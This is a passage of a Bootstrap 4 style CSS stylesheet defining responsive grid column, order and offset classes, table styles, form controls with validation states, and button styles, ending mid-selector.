{\n    -ms-flex: 0 0 33.333333%;\n    flex: 0 0 33.333333%;\n    max-width: 33.333333%;\n  }\n  .col-lg-5 {\n    -ms-flex: 0 0 41.666667%;\n    flex: 0 0 41.666667%;\n    max-width: 41.666667%;\n  }\n  .col-lg-6 {\n    -ms-flex: 0 0 50%;\n    flex: 0 0 50%;\n    max-width: 50%;\n  }\n  .col-lg-7 {\n    -ms-flex: 0 0 58.333333%;\n    flex: 0 0 58.333333%;\n    max-width: 58.333333%;\n  }\n  .col-lg-8 {\n    -ms-flex: 0 0 66.666667%;\n    flex: 0 0 66.666667%;\n    max-width: 66.666667%;\n  }\n  .col-lg-9 {\n    -ms-flex: 0 0 75%;\n    flex: 0 0 75%;\n    max-width: 75%;\n  }\n  .col-lg-10 {\n    -ms-flex: 0 0 83.333333%;\n    flex: 0 0 83.333333%;\n    max-width: 83.333333%;\n  }\n  .col-lg-11 {\n    -ms-flex: 0 0 91.666667%;\n    flex: 0 0 91.666667%;\n    max-width: 91.666667%;\n  }\n  .col-lg-12 {\n    -ms-flex: 0 0 100%;\n    flex: 0 0 100%;\n    max-width: 100%;\n  }\n  .order-lg-first {\n    -ms-flex-order: -1;\n    order: -1;\n  }\n  .order-lg-last {\n    -ms-flex-order: 13;\n    order: 13;\n  }\n  .order-lg-0 {\n    -ms-flex-order: 0;\n    order: 0;\n  }\n  .order-lg-1 {\n    -ms-flex-order: 1;\n    order: 1;\n  }\n  .order-lg-2 {\n    -ms-flex-order: 2;\n    order: 2;\n  }\n  .order-lg-3 {\n    -ms-flex-order: 3;\n    order: 3;\n  }\n  .order-lg-4 {\n    -ms-flex-order: 4;\n    order: 4;\n  }\n  .order-lg-5 {\n    -ms-flex-order: 5;\n    order: 5;\n  }\n  .order-lg-6 {\n    -ms-flex-order: 6;\n    order: 6;\n  }\n  .order-lg-7 {\n    -ms-flex-order: 7;\n    order: 7;\n  }\n  .order-lg-8 {\n    -ms-flex-order: 8;\n    order: 8;\n  }\n  .order-lg-9 {\n    -ms-flex-order: 9;\n    order: 9;\n  }\n  .order-lg-10 {\n    -ms-flex-order: 10;\n    order: 10;\n  }\n  .order-lg-11 {\n    -ms-flex-order: 11;\n    order: 11;\n  }\n  .order-lg-12 {\n    -ms-flex-order: 12;\n    order: 12;\n  }\n  .offset-lg-0 {\n    margin-left: 0;\n  }\n  .offset-lg-1 {\n    margin-left: 8.333333%;\n  }\n  .offset-lg-2 {\n    margin-left: 16.666667%;\n  }\n  .offset-lg-3 {\n    margin-left: 25%;\n  }\n  .offset-lg-4 {\n    margin-left: 33.333333%;\n  }\n  .offset-lg-5 {\n    margin-left: 41.666667%;\n  }\n  .offset-lg-6 {\n    margin-left: 50%;\n  }\n  .offset-lg-7 {\n    margin-left: 58.333333%;\n  }\n  .offset-lg-8 {\n    margin-left: 66.666667%;\n  }\n  .offset-lg-9 {\n    margin-left: 75%;\n  }\n  .offset-lg-10 {\n    margin-left: 83.333333%;\n  }\n  .offset-lg-11 {\n    margin-left: 91.666667%;\n  }\n}\n\n@media (min-width: 1200px) {\n  .col-xl {\n    -ms-flex-preferred-size: 0;\n    flex-basis: 0;\n    -ms-flex-positive: 1;\n    flex-grow: 1;\n    max-width: 100%;\n  }\n  .col-xl-auto {\n    -ms-flex: 0 0 auto;\n    flex: 0 0 auto;\n    width: auto;\n    max-width: none;\n  }\n  .col-xl-1 {\n    -ms-flex: 0 0 8.333333%;\n    flex: 0 0 8.333333%;\n    max-width: 8.333333%;\n  }\n  .col-xl-2 {\n    -ms-flex: 0 0 16.666667%;\n    flex: 0 0 16.666667%;\n    max-width: 16.666667%;\n  }\n  .col-xl-3 {\n    -ms-flex: 0 0 25%;\n    flex: 0 0 25%;\n    max-width: 25%;\n  }\n  .col-xl-4 {\n    -ms-flex: 0 0 33.333333%;\n    flex: 0 0 33.333333%;\n    max-width: 33.333333%;\n  }\n  .col-xl-5 {\n    -ms-flex: 0 0 41.666667%;\n    flex: 0 0 41.666667%;\n    max-width: 41.666667%;\n  }\n  .col-xl-6 {\n    -ms-flex: 0 0 50%;\n    flex: 0 0 50%;\n    max-width: 50%;\n  }\n  .col-xl-7 {\n    -ms-flex: 0 0 58.333333%;\n    flex: 0 0 58.333333%;\n    max-width: 58.333333%;\n  }\n  .col-xl-8 {\n    -ms-flex: 0 0 66.666667%;\n    flex: 0 0 66.666667%;\n    max-width: 66.666667%;\n  }\n  .col-xl-9 {\n    -ms-flex: 0 0 75%;\n    flex: 0 0 75%;\n    max-width: 75%;\n  }\n  .col-xl-10 {\n    -ms-flex: 0 0 83.333333%;\n    flex: 0 0 83.333333%;\n    max-width: 83.333333%;\n  }\n  .col-xl-11 {\n    -ms-flex: 0 0 91.666667%;\n    flex: 0 0 91.666667%;\n    max-width: 91.666667%;\n  }\n  .col-xl-12 {\n    -ms-flex: 0 0 100%;\n    flex: 0 0 100%;\n    max-width: 100%;\n  }\n  .order-xl-first {\n    -ms-flex-order: -1;\n    order: -1;\n  }\n  .order-xl-last {\n    -ms-flex-order: 13;\n    order: 13;\n  }\n  .order-xl-0 {\n    -ms-flex-order: 0;\n    order: 0;\n  }\n  .order-xl-1 {\n    -ms-flex-order: 1;\n    order: 1;\n  }\n  .order-xl-2 {\n    -ms-flex-order: 2;\n    order: 2;\n  }\n  .order-xl-3 {\n    -ms-flex-order: 3;\n    order: 3;\n  }\n  .order-xl-4 {\n    -ms-flex-order: 4;\n    order: 4;\n  }\n  .order-xl-5 {\n    -ms-flex-order: 5;\n    order: 5;\n  }\n  .order-xl-6 {\n    -ms-flex-order: 6;\n    order: 6;\n  }\n  .order-xl-7 {\n    -ms-flex-order: 7;\n    order: 7;\n  }\n  .order-xl-8 {\n    -ms-flex-order: 8;\n    order: 8;\n  }\n  .order-xl-9 {\n    -ms-flex-order: 9;\n    order: 9;\n  }\n  .order-xl-10 {\n    -ms-flex-order: 10;\n    order: 10;\n  }\n  .order-xl-11 {\n    -ms-flex-order: 11;\n    order: 11;\n  }\n  .order-xl-12 {\n    -ms-flex-order: 12;\n    order: 12;\n  }\n  .offset-xl-0 {\n    margin-left: 0;\n  }\n  .offset-xl-1 {\n    margin-left: 8.333333%;\n  }\n  .offset-xl-2 {\n    margin-left: 16.666667%;\n  }\n  .offset-xl-3 {\n    margin-left: 25%;\n  }\n  .offset-xl-4 {\n    margin-left: 33.333333%;\n  }\n  .offset-xl-5 {\n    margin-left: 41.666667%;\n  }\n  .offset-xl-6 {\n    margin-left: 50%;\n  }\n  .offset-xl-7 {\n    margin-left: 58.333333%;\n  }\n  .offset-xl-8 {\n    margin-left: 66.666667%;\n  }\n  .offset-xl-9 {\n    margin-left: 75%;\n  }\n  .offset-xl-10 {\n    margin-left: 83.333333%;\n  }\n  .offset-xl-11 {\n    margin-left: 91.666667%;\n  }\n}\n\n.table {\n  width: 100%;\n  max-width: 100%;\n  margin-bottom: 1rem;\n  background-color: transparent;\n}\n\n.table th,\n.table td {\n  padding: 0.75rem;\n  vertical-align: top;\n  border-top: 1px solid #dee2e6;\n}\n\n.table thead th {\n  vertical-align: bottom;\n  border-bottom: 2px solid #dee2e6;\n}\n\n.table tbody + tbody {\n  border-top: 2px solid #dee2e6;\n}\n\n.table .table {\n  background-color: #fff;\n}\n\n.table-sm th,\n.table-sm td {\n  padding: 0.3rem;\n}\n\n.table-bordered {\n  border: 1px solid #dee2e6;\n}\n\n.table-bordered th,\n.table-bordered td {\n  border: 1px solid #dee2e6;\n}\n\n.table-bordered thead th,\n.table-bordered thead td {\n  border-bottom-width: 2px;\n}\n\n.table-borderless th,\n.table-borderless td,\n.table-borderless thead th,\n.table-borderless tbody + tbody {\n  border: 0;\n}\n\n.table-striped tbody tr:nth-of-type(odd) {\n  background-color: rgba(0, 0, 0, 0.05);\n}\n\n.table-hover tbody tr:hover {\n  background-color: rgba(0, 0, 0, 0.075);\n}\n\n.table-primary,\n.table-primary > th,\n.table-primary > td {\n  background-color: #b8daff;\n}\n\n.table-hover .table-primary:hover {\n  background-color: #9fcdff;\n}\n\n.table-hover .table-primary:hover > td,\n.table-hover .table-primary:hover > th {\n  background-color: #9fcdff;\n}\n\n.table-secondary,\n.table-secondary > th,\n.table-secondary > td {\n  background-color: #d6d8db;\n}\n\n.table-hover .table-secondary:hover {\n  background-color: #c8cbcf;\n}\n\n.table-hover .table-secondary:hover > td,\n.table-hover .table-secondary:hover > th {\n  background-color: #c8cbcf;\n}\n\n.table-success,\n.table-success > th,\n.table-success > td {\n  background-color: #c3e6cb;\n}\n\n.table-hover .table-success:hover {\n  background-color: #b1dfbb;\n}\n\n.table-hover .table-success:hover > td,\n.table-hover .table-success:hover > th {\n  background-color: #b1dfbb;\n}\n\n.table-info,\n.table-info > th,\n.table-info > td {\n  background-color: #bee5eb;\n}\n\n.table-hover .table-info:hover {\n  background-color: #abdde5;\n}\n\n.table-hover .table-info:hover > td,\n.table-hover .table-info:hover > th {\n  background-color: #abdde5;\n}\n\n.table-warning,\n.table-warning > th,\n.table-warning > td {\n  background-color: #ffeeba;\n}\n\n.table-hover .table-warning:hover {\n  background-color: #ffe8a1;\n}\n\n.table-hover .table-warning:hover > td,\n.table-hover .table-warning:hover > th {\n  background-color: #ffe8a1;\n}\n\n.table-danger,\n.table-danger > th,\n.table-danger > td {\n  background-color: #f5c6cb;\n}\n\n.table-hover .table-danger:hover {\n  background-color: #f1b0b7;\n}\n\n.table-hover .table-danger:hover > td,\n.table-hover .table-danger:hover > th {\n  background-color: #f1b0b7;\n}\n\n.table-light,\n.table-light > th,\n.table-light > td {\n  background-color: #fdfdfe;\n}\n\n.table-hover .table-light:hover {\n  background-color: #ececf6;\n}\n\n.table-hover .table-light:hover > td,\n.table-hover .table-light:hover > th {\n  background-color: #ececf6;\n}\n\n.table-dark,\n.table-dark > th,\n.table-dark > td {\n  background-color: #c6c8ca;\n}\n\n.table-hover .table-dark:hover {\n  background-color: #b9bbbe;\n}\n\n.table-hover .table-dark:hover > td,\n.table-hover .table-dark:hover > th {\n  background-color: #b9bbbe;\n}\n\n.table-active,\n.table-active > th,\n.table-active > td {\n  background-color: rgba(0, 0, 0, 0.075);\n}\n\n.table-hover .table-active:hover {\n  background-color: rgba(0, 0, 0, 0.075);\n}\n\n.table-hover .table-active:hover > td,\n.table-hover .table-active:hover > th {\n  background-color: rgba(0, 0, 0, 0.075);\n}\n\n.table .thead-dark th {\n  color: #fff;\n  background-color: #212529;\n  border-color: #32383e;\n}\n\n.table .thead-light th {\n  color: #495057;\n  background-color: #e9ecef;\n  border-color: #dee2e6;\n}\n\n.table-dark {\n  color: #fff;\n  background-color: #212529;\n}\n\n.table-dark th,\n.table-dark td,\n.table-dark thead th {\n  border-color: #32383e;\n}\n\n.table-dark.table-bordered {\n  border: 0;\n}\n\n.table-dark.table-striped tbody tr:nth-of-type(odd) {\n  background-color: rgba(255, 255, 255, 0.05);\n}\n\n.table-dark.table-hover tbody tr:hover {\n  background-color: rgba(255, 255, 255, 0.075);\n}\n\n@media (max-width: 575.98px) {\n  .table-responsive-sm {\n    display: block;\n    width: 100%;\n    overflow-x: auto;\n    -webkit-overflow-scrolling: touch;\n    -ms-overflow-style: -ms-autohiding-scrollbar;\n  }\n  .table-responsive-sm > .table-bordered {\n    border: 0;\n  }\n}\n\n@media (max-width: 767.98px) {\n  .table-responsive-md {\n    display: block;\n    width: 100%;\n    overflow-x: auto;\n    -webkit-overflow-scrolling: touch;\n    -ms-overflow-style: -ms-autohiding-scrollbar;\n  }\n  .table-responsive-md > .table-bordered {\n    border: 0;\n  }\n}\n\n@media (max-width: 991.98px) {\n  .table-responsive-lg {\n    display: block;\n    width: 100%;\n    overflow-x: auto;\n    -webkit-overflow-scrolling: touch;\n    -ms-overflow-style: -ms-autohiding-scrollbar;\n  }\n  .table-responsive-lg > .table-bordered {\n    border: 0;\n  }\n}\n\n@media (max-width: 1199.98px) {\n  .table-responsive-xl {\n    display: block;\n    width: 100%;\n    overflow-x: auto;\n    -webkit-overflow-scrolling: touch;\n    -ms-overflow-style: -ms-autohiding-scrollbar;\n  }\n  .table-responsive-xl > .table-bordered {\n    border: 0;\n  }\n}\n\n.table-responsive {\n  display: block;\n  width: 100%;\n  overflow-x: auto;\n  -webkit-overflow-scrolling: touch;\n  -ms-overflow-style: -ms-autohiding-scrollbar;\n}\n\n.table-responsive > .table-bordered {\n  border: 0;\n}\n\n.form-control {\n  display: block;\n  width: 100%;\n  padding: 0.375rem 0.75rem;\n  font-size: 1rem;\n  line-height: 1.5;\n  color: #495057;\n  background-color: #fff;\n  background-clip: padding-box;\n  border: 1px solid #ced4da;\n  border-radius: 0.25rem;\n  transition: border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n  .form-control {\n    transition: none;\n  }\n}\n\n.form-control::-ms-expand {\n  background-color: transparent;\n  border: 0;\n}\n\n.form-control:focus {\n  color: #495057;\n  background-color: #fff;\n  border-color: #80bdff;\n  outline: 0;\n  box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.form-control::-webkit-input-placeholder {\n  color: #6c757d;\n  opacity: 1;\n}\n\n.form-control::-moz-placeholder {\n  color: #6c757d;\n  opacity: 1;\n}\n\n.form-control:-ms-input-placeholder {\n  color: #6c757d;\n  opacity: 1;\n}\n\n.form-control::-ms-input-placeholder {\n  color: #6c757d;\n  opacity: 1;\n}\n\n.form-control::placeholder {\n  color: #6c757d;\n  opacity: 1;\n}\n\n.form-control:disabled, .form-control[readonly] {\n  background-color: #e9ecef;\n  opacity: 1;\n}\n\nselect.form-control:not([size]):not([multiple]) {\n  height: calc(2.25rem + 2px);\n}\n\nselect.form-control:focus::-ms-value {\n  color: #495057;\n  background-color: #fff;\n}\n\n.form-control-file,\n.form-control-range {\n  display: block;\n  width: 100%;\n}\n\n.col-form-label {\n  padding-top: calc(0.375rem + 1px);\n  padding-bottom: calc(0.375rem + 1px);\n  margin-bottom: 0;\n  font-size: inherit;\n  line-height: 1.5;\n}\n\n.col-form-label-lg {\n  padding-top: calc(0.5rem + 1px);\n  padding-bottom: calc(0.5rem + 1px);\n  font-size: 1.25rem;\n  line-height: 1.5;\n}\n\n.col-form-label-sm {\n  padding-top: calc(0.25rem + 1px);\n  padding-bottom: calc(0.25rem + 1px);\n  font-size: 0.875rem;\n  line-height: 1.5;\n}\n\n.form-control-plaintext {\n  display: block;\n  width: 100%;\n  padding-top: 0.375rem;\n  padding-bottom: 0.375rem;\n  margin-bottom: 0;\n  line-height: 1.5;\n  color: #212529;\n  background-color: transparent;\n  border: solid transparent;\n  border-width: 1px 0;\n}\n\n.form-control-plaintext.form-control-sm, .input-group-sm > .form-control-plaintext.form-control,\n.input-group-sm > .input-group-prepend > .form-control-plaintext.input-group-text,\n.input-group-sm > .input-group-append > .form-control-plaintext.input-group-text,\n.input-group-sm > .input-group-prepend > .form-control-plaintext.btn,\n.input-group-sm > .input-group-append > .form-control-plaintext.btn, .form-control-plaintext.form-control-lg, .input-group-lg > .form-control-plaintext.form-control,\n.input-group-lg > .input-group-prepend > .form-control-plaintext.input-group-text,\n.input-group-lg > .input-group-append > .form-control-plaintext.input-group-text,\n.input-group-lg > .input-group-prepend > .form-control-plaintext.btn,\n.input-group-lg > .input-group-append > .form-control-plaintext.btn {\n  padding-right: 0;\n  padding-left: 0;\n}\n\n.form-control-sm, .input-group-sm > .form-control,\n.input-group-sm > .input-group-prepend > .input-group-text,\n.input-group-sm > .input-group-append > .input-group-text,\n.input-group-sm > .input-group-prepend > .btn,\n.input-group-sm > .input-group-append > .btn {\n  padding: 0.25rem 0.5rem;\n  font-size: 0.875rem;\n  line-height: 1.5;\n  border-radius: 0.2rem;\n}\n\nselect.form-control-sm:not([size]):not([multiple]), .input-group-sm > select.form-control:not([size]):not([multiple]),\n.input-group-sm > .input-group-prepend > select.input-group-text:not([size]):not([multiple]),\n.input-group-sm > .input-group-append > select.input-group-text:not([size]):not([multiple]),\n.input-group-sm > .input-group-prepend > select.btn:not([size]):not([multiple]),\n.input-group-sm > .input-group-append > select.btn:not([size]):not([multiple]) {\n  height: calc(1.8125rem + 2px);\n}\n\n.form-control-lg, .input-group-lg > .form-control,\n.input-group-lg > .input-group-prepend > .input-group-text,\n.input-group-lg > .input-group-append > .input-group-text,\n.input-group-lg > .input-group-prepend > .btn,\n.input-group-lg > .input-group-append > .btn {\n  padding: 0.5rem 1rem;\n  font-size: 1.25rem;\n  line-height: 1.5;\n  border-radius: 0.3rem;\n}\n\nselect.form-control-lg:not([size]):not([multiple]), .input-group-lg > select.form-control:not([size]):not([multiple]),\n.input-group-lg > .input-group-prepend > select.input-group-text:not([size]):not([multiple]),\n.input-group-lg > .input-group-append > select.input-group-text:not([size]):not([multiple]),\n.input-group-lg > .input-group-prepend > select.btn:not([size]):not([multiple]),\n.input-group-lg > .input-group-append > select.btn:not([size]):not([multiple]) {\n  height: calc(2.875rem + 2px);\n}\n\n.form-group {\n  margin-bottom: 1rem;\n}\n\n.form-text {\n  display: block;\n  margin-top: 0.25rem;\n}\n\n.form-row {\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-wrap: wrap;\n  flex-wrap: wrap;\n  margin-right: -5px;\n  margin-left: -5px;\n}\n\n.form-row > .col,\n.form-row > [class*=\"col-\"] {\n  padding-right: 5px;\n  padding-left: 5px;\n}\n\n.form-check {\n  position: relative;\n  display: block;\n  padding-left: 1.25rem;\n}\n\n.form-check-input {\n  position: absolute;\n  margin-top: 0.3rem;\n  margin-left: -1.25rem;\n}\n\n.form-check-input:disabled ~ .form-check-label {\n  color: #6c757d;\n}\n\n.form-check-label {\n  margin-bottom: 0;\n}\n\n.form-check-inline {\n  display: -ms-inline-flexbox;\n  display: inline-flex;\n  -ms-flex-align: center;\n  align-items: center;\n  padding-left: 0;\n  margin-right: 0.75rem;\n}\n\n.form-check-inline .form-check-input {\n  position: static;\n  margin-top: 0;\n  margin-right: 0.3125rem;\n  margin-left: 0;\n}\n\n.valid-feedback {\n  display: none;\n  width: 100%;\n  margin-top: 0.25rem;\n  font-size: 80%;\n  color: #28a745;\n}\n\n.valid-tooltip {\n  position: absolute;\n  top: 100%;\n  z-index: 5;\n  display: none;\n  max-width: 100%;\n  padding: .5rem;\n  margin-top: .1rem;\n  font-size: .875rem;\n  line-height: 1;\n  color: #fff;\n  background-color: rgba(40, 167, 69, 0.8);\n  border-radius: .2rem;\n}\n\n.was-validated .form-control:valid, .form-control.is-valid, .was-validated\n.custom-select:valid,\n.custom-select.is-valid {\n  border-color: #28a745;\n}\n\n.was-validated .form-control:valid:focus, .form-control.is-valid:focus, .was-validated\n.custom-select:valid:focus,\n.custom-select.is-valid:focus {\n  border-color: #28a745;\n  box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.25);\n}\n\n.was-validated .form-control:valid ~ .valid-feedback,\n.was-validated .form-control:valid ~ .valid-tooltip, .form-control.is-valid ~ .valid-feedback,\n.form-control.is-valid ~ .valid-tooltip, .was-validated\n.custom-select:valid ~ .valid-feedback,\n.was-validated\n.custom-select:valid ~ .valid-tooltip,\n.custom-select.is-valid ~ .valid-feedback,\n.custom-select.is-valid ~ .valid-tooltip {\n  display: block;\n}\n\n.was-validated .form-check-input:valid ~ .form-check-label, .form-check-input.is-valid ~ .form-check-label {\n  color: #28a745;\n}\n\n.was-validated .form-check-input:valid ~ .valid-feedback,\n.was-validated .form-check-input:valid ~ .valid-tooltip, .form-check-input.is-valid ~ .valid-feedback,\n.form-check-input.is-valid ~ .valid-tooltip {\n  display: block;\n}\n\n.was-validated .custom-control-input:valid ~ .custom-control-label, .custom-control-input.is-valid ~ .custom-control-label {\n  color: #28a745;\n}\n\n.was-validated .custom-control-input:valid ~ .custom-control-label::before, .custom-control-input.is-valid ~ .custom-control-label::before {\n  background-color: #71dd8a;\n}\n\n.was-validated .custom-control-input:valid ~ .valid-feedback,\n.was-validated .custom-control-input:valid ~ .valid-tooltip, .custom-control-input.is-valid ~ .valid-feedback,\n.custom-control-input.is-valid ~ .valid-tooltip {\n  display: block;\n}\n\n.was-validated .custom-control-input:valid:checked ~ .custom-control-label::before, .custom-control-input.is-valid:checked ~ .custom-control-label::before {\n  background-color: #34ce57;\n}\n\n.was-validated .custom-control-input:valid:focus ~ .custom-control-label::before, .custom-control-input.is-valid:focus ~ .custom-control-label::before {\n  box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(40, 167, 69, 0.25);\n}\n\n.was-validated .custom-file-input:valid ~ .custom-file-label, .custom-file-input.is-valid ~ .custom-file-label {\n  border-color: #28a745;\n}\n\n.was-validated .custom-file-input:valid ~ .custom-file-label::before, .custom-file-input.is-valid ~ .custom-file-label::before {\n  border-color: inherit;\n}\n\n.was-validated .custom-file-input:valid ~ .valid-feedback,\n.was-validated .custom-file-input:valid ~ .valid-tooltip, .custom-file-input.is-valid ~ .valid-feedback,\n.custom-file-input.is-valid ~ .valid-tooltip {\n  display: block;\n}\n\n.was-validated .custom-file-input:valid:focus ~ .custom-file-label, .custom-file-input.is-valid:focus ~ .custom-file-label {\n  box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.25);\n}\n\n.invalid-feedback {\n  display: none;\n  width: 100%;\n  margin-top: 0.25rem;\n  font-size: 80%;\n  color: #dc3545;\n}\n\n.invalid-tooltip {\n  position: absolute;\n  top: 100%;\n  z-index: 5;\n  display: none;\n  max-width: 100%;\n  padding: .5rem;\n  margin-top: .1rem;\n  font-size: .875rem;\n  line-height: 1;\n  color: #fff;\n  background-color: rgba(220, 53, 69, 0.8);\n  border-radius: .2rem;\n}\n\n.was-validated .form-control:invalid, .form-control.is-invalid, .was-validated\n.custom-select:invalid,\n.custom-select.is-invalid {\n  border-color: #dc3545;\n}\n\n.was-validated .form-control:invalid:focus, .form-control.is-invalid:focus, .was-validated\n.custom-select:invalid:focus,\n.custom-select.is-invalid:focus {\n  border-color: #dc3545;\n  box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.25);\n}\n\n.was-validated .form-control:invalid ~ .invalid-feedback,\n.was-validated .form-control:invalid ~ .invalid-tooltip, .form-control.is-invalid ~ .invalid-feedback,\n.form-control.is-invalid ~ .invalid-tooltip, .was-validated\n.custom-select:invalid ~ .invalid-feedback,\n.was-validated\n.custom-select:invalid ~ .invalid-tooltip,\n.custom-select.is-invalid ~ .invalid-feedback,\n.custom-select.is-invalid ~ .invalid-tooltip {\n  display: block;\n}\n\n.was-validated .form-check-input:invalid ~ .form-check-label, .form-check-input.is-invalid ~ .form-check-label {\n  color: #dc3545;\n}\n\n.was-validated .form-check-input:invalid ~ .invalid-feedback,\n.was-validated .form-check-input:invalid ~ .invalid-tooltip, .form-check-input.is-invalid ~ .invalid-feedback,\n.form-check-input.is-invalid ~ .invalid-tooltip {\n  display: block;\n}\n\n.was-validated .custom-control-input:invalid ~ .custom-control-label, .custom-control-input.is-invalid ~ .custom-control-label {\n  color: #dc3545;\n}\n\n.was-validated .custom-control-input:invalid ~ .custom-control-label::before, .custom-control-input.is-invalid ~ .custom-control-label::before {\n  background-color: #efa2a9;\n}\n\n.was-validated .custom-control-input:invalid ~ .invalid-feedback,\n.was-validated .custom-control-input:invalid ~ .invalid-tooltip, .custom-control-input.is-invalid ~ .invalid-feedback,\n.custom-control-input.is-invalid ~ .invalid-tooltip {\n  display: block;\n}\n\n.was-validated .custom-control-input:invalid:checked ~ .custom-control-label::before, .custom-control-input.is-invalid:checked ~ .custom-control-label::before {\n  background-color: #e4606d;\n}\n\n.was-validated .custom-control-input:invalid:focus ~ .custom-control-label::before, .custom-control-input.is-invalid:focus ~ .custom-control-label::before {\n  box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(220, 53, 69, 0.25);\n}\n\n.was-validated .custom-file-input:invalid ~ .custom-file-label, .custom-file-input.is-invalid ~ .custom-file-label {\n  border-color: #dc3545;\n}\n\n.was-validated .custom-file-input:invalid ~ .custom-file-label::before, .custom-file-input.is-invalid ~ .custom-file-label::before {\n  border-color: inherit;\n}\n\n.was-validated .custom-file-input:invalid ~ .invalid-feedback,\n.was-validated .custom-file-input:invalid ~ .invalid-tooltip, .custom-file-input.is-invalid ~ .invalid-feedback,\n.custom-file-input.is-invalid ~ .invalid-tooltip {\n  display: block;\n}\n\n.was-validated .custom-file-input:invalid:focus ~ .custom-file-label, .custom-file-input.is-invalid:focus ~ .custom-file-label {\n  box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.25);\n}\n\n.form-inline {\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-flow: row wrap;\n  flex-flow: row wrap;\n  -ms-flex-align: center;\n  align-items: center;\n}\n\n.form-inline .form-check {\n  width: 100%;\n}\n\n@media (min-width: 576px) {\n  .form-inline label {\n    display: -ms-flexbox;\n    display: flex;\n    -ms-flex-align: center;\n    align-items: center;\n    -ms-flex-pack: center;\n    justify-content: center;\n    margin-bottom: 0;\n  }\n  .form-inline .form-group {\n    display: -ms-flexbox;\n    display: flex;\n    -ms-flex: 0 0 auto;\n    flex: 0 0 auto;\n    -ms-flex-flow: row wrap;\n    flex-flow: row wrap;\n    -ms-flex-align: center;\n    align-items: center;\n    margin-bottom: 0;\n  }\n  .form-inline .form-control {\n    display: inline-block;\n    width: auto;\n    vertical-align: middle;\n  }\n  .form-inline .form-control-plaintext {\n    display: inline-block;\n  }\n  .form-inline .input-group,\n  .form-inline .custom-select {\n    width: auto;\n  }\n  .form-inline .form-check {\n    display: -ms-flexbox;\n    display: flex;\n    -ms-flex-align: center;\n    align-items: center;\n    -ms-flex-pack: center;\n    justify-content: center;\n    width: auto;\n    padding-left: 0;\n  }\n  .form-inline .form-check-input {\n    position: relative;\n    margin-top: 0;\n    margin-right: 0.25rem;\n    margin-left: 0;\n  }\n  .form-inline .custom-control {\n    -ms-flex-align: center;\n    align-items: center;\n    -ms-flex-pack: center;\n    justify-content: center;\n  }\n  .form-inline .custom-control-label {\n    margin-bottom: 0;\n  }\n}\n\n.btn {\n  display: inline-block;\n  font-weight: 400;\n  text-align: center;\n  white-space: nowrap;\n  vertical-align: middle;\n  -webkit-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  user-select: none;\n  border: 1px solid transparent;\n  padding: 0.375rem 0.75rem;\n  font-size: 1rem;\n  line-height: 1.5;\n  border-radius: 0.25rem;\n  transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n  .btn {\n    transition: none;\n  }\n}\n\n.btn:hover, .btn:focus {\n  text-decoration: none;\n}\n\n.btn:focus, .btn.focus {\n  outline: 0;\n  box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.btn.disabled, .btn:disabled {\n  opacity: 0.65;\n}\n\n.btn:not(:disabled):not(.disabled) {\n  cursor: pointer;\n}\n\n.btn:not(:disabled):not(.disabled):active, .btn:not(:disabled):not(.disabled).active {\n  background-image: none;\n}\n\na.btn.disabled,\nfieldset:disabled a.btn {\n  pointer-events: none;\n}\n\n.btn-primary {\n  color: #fff;\n  background-color: #007bff;\n  border-color: #007bff;\n}\n\n.btn-primary:hover {\n  color: #fff;\n  background-color: #0069d9;\n  border-color: #0062cc;\n}\n\n.btn-primary:focus, .btn-primary.focus {\n  box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5);\n}\n\n.btn-primary.disabled, .btn-primary:disabled {\n  color: #fff;\n  background-color: #007bff;\n  border-color: #007bff;\n}\n\n.btn-primary:not(:disabled):not(.disabled):active, .btn-primary:not(:disabled):not(.disabled).active,\n.show > .btn-primary.dropdown-toggle {\n  color: #fff;\n  background-color: #0062cc;\n  border-color: #005cbf;\n}\n\n.btn-primary:not(:disabled):not(.disabled):active:focus, .btn-primary:not(:disabled):not(.disabled).active:focus,\n.show > .btn-primary.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.5);\n}\n\n.btn-secondary {\n  color: #fff;\n  background-color: #6c757d;\n  border-color: #6c757d;\n}\n\n.btn-secondary:hover {\n  color: #fff;\n  background-color: #5a6268;\n  border-color: #545b62;\n}\n\n.btn-secondary:focus, .btn-secondary.focus {\n  box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5);\n}\n\n.btn-secondary.disabled, .btn-secondary:disabled {\n  color: #fff;\n  background-color: #6c757d;\n  border-color: #6c757d;\n}\n\n.btn-secondary:not(:disabled):not(.disabled):active, .btn-secondary:not(:disabled):not(.disabled).active,\n.show > .btn-secondary.dropdown-toggle {\n  color: #fff;\n  background-color: #545b62;\n  border-color: #4e555b;\n}\n\n.btn-secondary:not(:disabled):not(.disabled):active:focus, .btn-secondary:not(:disabled):not(.disabled).active:focus,\n.show > .btn-secondary.dropdown-toggle:focus {\n  box-shadow: 0 0 0 0.2rem rgba(108, 117, 125, 0.5);\n}\n\n.btn-success {\n  color: #fff;\n  background-color: #28a745;\n  border-color: #28a745;\n}\n\n.btn-success:hover {\n  color: #fff;\n  background-color: #218838;\n  border-color: #1e7e34;\n}\n\n.btn-success:focus, .btn-success.focus {\n  box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.5);\n}\n\n.btn-success.disabled, .btn-success:disabled {\n  color: #fff;\n  background-color: #28a745;\n  border-color: #28a745;\n}\n\n.btn-success:not(:disabled):not(.disabled):active, .btn-success:not(:disabled):not(.disabled).active,\n.show > .btn-success.dropdown-toggle {\n  color: #fff;\n  background-color: #1e7e34;\n  border-color: #1c7430;\n}\n\n.btn-success:not(:disabled):not(.disabled):active:focus, 